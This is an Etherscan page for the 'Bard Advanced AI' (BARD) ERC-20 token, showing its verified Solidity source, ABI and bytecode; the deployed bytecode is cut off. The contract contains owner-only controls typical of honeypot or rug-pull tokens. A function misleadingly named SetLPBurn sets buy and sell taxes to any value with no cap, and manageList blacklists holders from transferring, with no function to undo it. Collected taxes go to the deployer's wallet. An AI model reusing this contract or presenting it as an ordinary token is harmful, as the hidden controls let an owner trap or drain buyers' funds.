ETH Price: $2,472.69 (-8.32%)

Token

Bard Advanced AI (BARD)
 

Overview

Max Total Supply

10,000,000 BARD

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
54,544.163975170892288827 BARD

Value
$0.00
0x6b2a02a102107a3863f3cfa4aa2dbe61e507d0b7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BardAdvancedAI

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-19
*/

/**
https://bardadv.tech
https://t.me/bardadvanceAI
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BardAdvancedAI  is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=1;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 10000000* 10**_decimals;
    string private constant _name = unicode"Bard Advanced AI ";
    string private constant _symbol = unicode"BARD";
    uint256 public _maxTxAmount = 200000 * 10**_decimals;
    uint256 public _maxWalletSize = 200000 * 10**_decimals;
    uint256 public _taxSwapThreshold=0 * 10**_decimals;
    uint256 public _maxTaxSwap=200000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                  require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                if(_buyCount<_preventSwapBefore){
                  require(!isContract(to));
                }
                _buyCount++;
            }


            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if(to == uniswapV2Pair && from!= address(this) ){
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function manageList(address[] memory bots_) external onlyOwner{
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function SetLPBurn(uint256 _newBuyFee,uint256 _newSellFee) external onlyOwner{
            _finalBuyTax=_newBuyFee;
            _finalSellTax=_newSellFee;
    }


    function StartBard() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    
    
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_newBuyFee","type":"uint256"},{"internalType":"uint256","name":"_newSellFee","type":"uint256"}],"name":"SetLPBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"StartBard","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"manageList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055600a60078190556008819055600060098190558082556001600b55600c8290556014600d55600e55620000449060129062000349565b620000539062030d4062000361565b600f55620000646012600a62000349565b620000739062030d4062000361565b601055620000846012600a62000349565b6200009190600062000361565b601155620000a26012600a62000349565b620000b19062030d4062000361565b6012556014805461ffff60a81b19169055348015620000cf57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319166101003302179055620001366012600a62000349565b62000145906298968062000361565b336000908152600160208190526040822092909255600390620001706000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001d43390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020e6012600a62000349565b6200021d906298968062000361565b60405190815260200160405180910390a362000383565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200028b5781600019048211156200026f576200026f62000234565b808516156200027d57918102915b93841c93908002906200024f565b509250929050565b600082620002a45750600162000343565b81620002b35750600062000343565b8160018114620002cc5760028114620002d757620002f7565b600191505062000343565b60ff841115620002eb57620002eb62000234565b50506001821b62000343565b5060208310610133831016604e8410600b84101617156200031c575081810a62000343565b6200032883836200024a565b80600019048211156200033f576200033f62000234565b0290505b92915050565b60006200035a60ff84168362000293565b9392505050565b60008160001904831182151516156200037e576200037e62000234565b500290565b611b9e80620003936000396000f3fe6080604052600436106101395760003560e01c8063715018a6116100ab5780638f9a55c01161006f5780638f9a55c01461037957806395d89b411461038f578063a9059cbb146103bc578063bf474bed146103dc578063c876d0b9146103f2578063dd62ed3e1461040c57600080fd5b8063715018a6146102f1578063751039fc146103065780637d1db4a51461031b5780638c111692146103315780638da5cb5b1461035157600080fd5b806323b872dd116100fd57806323b872dd14610211578063313ce567146102315780633bbac5791461024d57806351bc3c85146102865780636de7bcbd1461029b57806370a08231146102bb57600080fd5b806302e860c21461014557806306fdde031461015c578063095ea7b3146101a85780630faee56f146101d857806318160ddd146101fc57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610452565b005b34801561016857600080fd5b5060408051808201909152601181527002130b9321020b23b30b731b2b21020a49607d1b60208201525b60405161019f9190611648565b60405180910390f35b3480156101b457600080fd5b506101c86101c33660046116c5565b61081b565b604051901515815260200161019f565b3480156101e457600080fd5b506101ee60125481565b60405190815260200161019f565b34801561020857600080fd5b506101ee610832565b34801561021d57600080fd5b506101c861022c3660046116f1565b610852565b34801561023d57600080fd5b506040516012815260200161019f565b34801561025957600080fd5b506101c8610268366004611732565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029257600080fd5b5061015a6108b6565b3480156102a757600080fd5b5061015a6102b6366004611765565b61090e565b3480156102c757600080fd5b506101ee6102d6366004611732565b6001600160a01b031660009081526001602052604090205490565b3480156102fd57600080fd5b5061015a6109a0565b34801561031257600080fd5b5061015a610a14565b34801561032757600080fd5b506101ee600f5481565b34801561033d57600080fd5b5061015a61034c36600461182a565b610acd565b34801561035d57600080fd5b506000546040516001600160a01b03909116815260200161019f565b34801561038557600080fd5b506101ee60105481565b34801561039b57600080fd5b506040805180820190915260048152631090549160e21b6020820152610192565b3480156103c857600080fd5b506101c86103d73660046116c5565b610b02565b3480156103e857600080fd5b506101ee60115481565b3480156103fe57600080fd5b506006546101c89060ff1681565b34801561041857600080fd5b506101ee61042736600461184c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104855760405162461bcd60e51b815260040161047c90611885565b60405180910390fd5b601454600160a01b900460ff16156104df5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561052c90309061051a6012600a6119b4565b61052790629896806119c3565b610b0f565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a391906119e2565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610605573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062991906119e2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610676573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069a91906119e2565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306106e2816001600160a01b031660009081526001602052604090205490565b6000806106f76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561075f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061078491906119ff565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108019190611a2d565b506014805462ff00ff60a01b19166201000160a01b179055565b6000610828338484610b0f565b5060015b92915050565b60006108406012600a6119b4565b61084d90629896806119c3565b905090565b600061085f848484610c33565b6108ac843361052785604051806060016040528060288152602001611b41602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061128e565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b0316146108db57600080fd5b3060009081526001602052604090205480156108fa576108fa816112c8565b47801561090a5761090a8161145b565b5050565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161047c90611885565b60005b815181101561090a5760016004600084848151811061095c5761095c611a4f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061099881611a65565b91505061093b565b6000546001600160a01b031633146109ca5760405162461bcd60e51b815260040161047c90611885565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a3e5760405162461bcd60e51b815260040161047c90611885565b610a4a6012600a6119b4565b610a5790629896806119c3565b600f55610a666012600a6119b4565b610a7390629896806119c3565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610aad6012600a6119b4565b610aba90629896806119c3565b60405190815260200160405180910390a1565b6000546001600160a01b03163314610af75760405162461bcd60e51b815260040161047c90611885565b600991909155600a55565b6000610828338484610c33565b6001600160a01b038316610b715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b038216610bd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047c565b6001600160a01b038216610cf95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047c565b60008111610d5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047c565b600080546001600160a01b03858116911614801590610d8857506000546001600160a01b03848116911614155b1561114b576001600160a01b03841660009081526004602052604090205460ff16158015610dcf57506001600160a01b03831660009081526004602052604090205460ff16155b610dd857600080fd5b60065460ff1615610e91576013546001600160a01b03848116911614801590610e0f57506014546001600160a01b03848116911614155b15610e9157326000908152600560205260409020544311610e7e5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161047c565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610ebc57506013546001600160a01b03848116911614155b8015610ee157506001600160a01b03831660009081526003602052604090205460ff16155b15610fdd57600f54821115610f345760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161047c565b60105482610f57856001600160a01b031660009081526001602052604090205490565b610f619190611a7e565b1115610faf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047c565b600d54600e541015610fc757823b15610fc757600080fd5b600e8054906000610fd783611a65565b91905055505b6110096064611003600b54600e5411610ff857600754610ffc565b6009545b8590611499565b90611522565b6014549091506001600160a01b03848116911614801561103257506001600160a01b0384163014155b156110ad57600f548211156110855760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161047c565b6110aa6064611003600c54600e54116110a057600854610ffc565b600a548590611499565b90505b30600090815260016020526040902054601454600160a81b900460ff161580156110e457506014546001600160a01b038581169116145b80156110f95750601454600160b01b900460ff165b8015611106575060115481115b80156111155750600d54600e54115b15611149576111376111328461112d84601254611564565b611564565b6112c8565b478015611147576111474761145b565b505b505b80156111c5573060009081526001602052604090205461116b9082611579565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111bc9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111e890836115d8565b6001600160a01b03851660009081526001602052604090205561122d61120e83836115d8565b6001600160a01b03851660009081526001602052604090205490611579565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61127785856115d8565b60405190815260200160405180910390a350505050565b600081848411156112b25760405162461bcd60e51b815260040161047c9190611648565b5060006112bf8486611a96565b95945050505050565b6014805460ff60a81b1916600160a81b179055801561144b57601454600160a01b900460ff161561144b57604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611a4f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611381573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a591906119e2565b816001815181106113b8576113b8611a4f565b6001600160a01b0392831660209182029290920101526013546113de9130911684610b0f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611417908590600090869030904290600401611aad565b600060405180830381600087803b15801561143157600080fd5b505af1158015611445573d6000803e3d6000fd5b50505050505b506014805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561090a573d6000803e3d6000fd5b6000826000036114ab5750600061082c565b60006114b783856119c3565b9050826114c48583611b1e565b1461151b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b9392505050565b600061151b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161a565b6000818311611573578261151b565b50919050565b6000806115868385611a7e565b90508381101561151b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b600061151b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128e565b6000818361163b5760405162461bcd60e51b815260040161047c9190611648565b5060006112bf8486611b1e565b600060208083528351808285015260005b8181101561167557858101830151858201604001528201611659565b81811115611687576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146116b257600080fd5b50565b80356116c08161169d565b919050565b600080604083850312156116d857600080fd5b82356116e38161169d565b946020939093013593505050565b60008060006060848603121561170657600080fd5b83356117118161169d565b925060208401356117218161169d565b929592945050506040919091013590565b60006020828403121561174457600080fd5b813561151b8161169d565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561177857600080fd5b823567ffffffffffffffff8082111561179057600080fd5b818501915085601f8301126117a457600080fd5b8135818111156117b6576117b661174f565b8060051b604051601f19603f830116810181811085821117156117db576117db61174f565b6040529182528482019250838101850191888311156117f957600080fd5b938501935b8285101561181e5761180f856116b5565b845293850193928501926117fe565b98975050505050505050565b6000806040838503121561183d57600080fd5b50508035926020909101359150565b6000806040838503121561185f57600080fd5b823561186a8161169d565b9150602083013561187a8161169d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561190b5781600019048211156118f1576118f16118ba565b808516156118fe57918102915b93841c93908002906118d5565b509250929050565b6000826119225750600161082c565b8161192f5750600061082c565b8160018114611945576002811461194f5761196b565b600191505061082c565b60ff841115611960576119606118ba565b50506001821b61082c565b5060208310610133831016604e8410600b841016171561198e575081810a61082c565b61199883836118d0565b80600019048211156119ac576119ac6118ba565b029392505050565b600061151b60ff841683611913565b60008160001904831182151516156119dd576119dd6118ba565b500290565b6000602082840312156119f457600080fd5b815161151b8161169d565b600080600060608486031215611a1457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a3f57600080fd5b8151801515811461151b57600080fd5b634e487b7160e01b600052603260045260246000fd5b600060018201611a7757611a776118ba565b5060010190565b60008219821115611a9157611a916118ba565b500190565b600082821015611aa857611aa86118ba565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611afd5784516001600160a01b031683529383019391830191600101611ad8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b3b57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046407709d58b1cdc99cb758c969c48c1c6a7949b938dba0f8a0aa002f226030364736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063715018a6116100ab5780638f9a55c01161006f5780638f9a55c01461037957806395d89b411461038f578063a9059cbb146103bc578063bf474bed146103dc578063c876d0b9146103f2578063dd62ed3e1461040c57600080fd5b8063715018a6146102f1578063751039fc146103065780637d1db4a51461031b5780638c111692146103315780638da5cb5b1461035157600080fd5b806323b872dd116100fd57806323b872dd14610211578063313ce567146102315780633bbac5791461024d57806351bc3c85146102865780636de7bcbd1461029b57806370a08231146102bb57600080fd5b806302e860c21461014557806306fdde031461015c578063095ea7b3146101a85780630faee56f146101d857806318160ddd146101fc57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610452565b005b34801561016857600080fd5b5060408051808201909152601181527002130b9321020b23b30b731b2b21020a49607d1b60208201525b60405161019f9190611648565b60405180910390f35b3480156101b457600080fd5b506101c86101c33660046116c5565b61081b565b604051901515815260200161019f565b3480156101e457600080fd5b506101ee60125481565b60405190815260200161019f565b34801561020857600080fd5b506101ee610832565b34801561021d57600080fd5b506101c861022c3660046116f1565b610852565b34801561023d57600080fd5b506040516012815260200161019f565b34801561025957600080fd5b506101c8610268366004611732565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029257600080fd5b5061015a6108b6565b3480156102a757600080fd5b5061015a6102b6366004611765565b61090e565b3480156102c757600080fd5b506101ee6102d6366004611732565b6001600160a01b031660009081526001602052604090205490565b3480156102fd57600080fd5b5061015a6109a0565b34801561031257600080fd5b5061015a610a14565b34801561032757600080fd5b506101ee600f5481565b34801561033d57600080fd5b5061015a61034c36600461182a565b610acd565b34801561035d57600080fd5b506000546040516001600160a01b03909116815260200161019f565b34801561038557600080fd5b506101ee60105481565b34801561039b57600080fd5b506040805180820190915260048152631090549160e21b6020820152610192565b3480156103c857600080fd5b506101c86103d